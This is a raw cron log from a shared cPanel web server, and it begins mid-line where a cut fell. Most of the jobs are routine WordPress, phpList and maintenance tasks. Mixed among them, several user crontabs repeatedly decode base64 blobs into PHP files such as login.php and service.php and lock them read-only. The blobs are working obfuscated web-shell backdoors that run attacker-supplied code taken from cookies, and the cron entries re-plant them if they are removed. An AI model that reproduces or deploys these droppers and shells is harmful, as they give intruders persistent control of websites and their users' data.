lMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:16:02 medusa CROND[1002]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 04:16:02 medusa CROND[1003]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:16:02 medusa CROND[1049]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 04:16:02 medusa CROND[1057]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 04:17:01 medusa CROND[2842]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 04:17:01 medusa CROND[2847]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 04:17:01 medusa CROND[2849]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Jun  7 04:17:01 medusa CROND[2850]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 04:17:01 medusa CROND[2851]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:17:01 medusa CROND[2852]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 04:17:01 medusa CROND[2853]: (root) CMD (   /usr/libexec/report-command-error /opt/imunify360/venv/share/imunify360/scripts/update_components_versions.py > /dev/null 2>&1)
Jun  7 04:17:01 medusa CROND[2856]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 04:17:01 medusa CROND[2857]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 04:17:01 medusa CROND[2858]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:17:01 medusa CROND[2864]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 04:17:01 medusa CROND[2868]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:17:01 medusa CROND[2872]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 04:17:01 medusa CROND[2875]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:18:01 medusa CROND[4700]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 04:18:01 medusa CROND[4709]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 04:18:01 medusa CROND[4710]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 04:18:01 medusa CROND[4711]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 04:18:01 medusa CROND[4712]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 04:18:01 medusa CROND[4713]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:18:01 medusa CROND[4714]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 04:18:01 medusa CROND[4715]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 04:18:01 medusa CROND[4716]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 04:18:01 medusa CROND[4718]: (tecnosec) CMD (/usr/local/bin/php  /home13/tecnosec/public_html/phplist/admin/index.php  -c /home13/tecnosec/public_html/phplist/config/config.php -p processqueue >/dev/null)
Jun  7 04:18:01 medusa CROND[4720]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:18:01 medusa CROND[4721]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 04:18:01 medusa CROND[4736]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:18:01 medusa CROND[4738]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:19:01 medusa CROND[6374]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
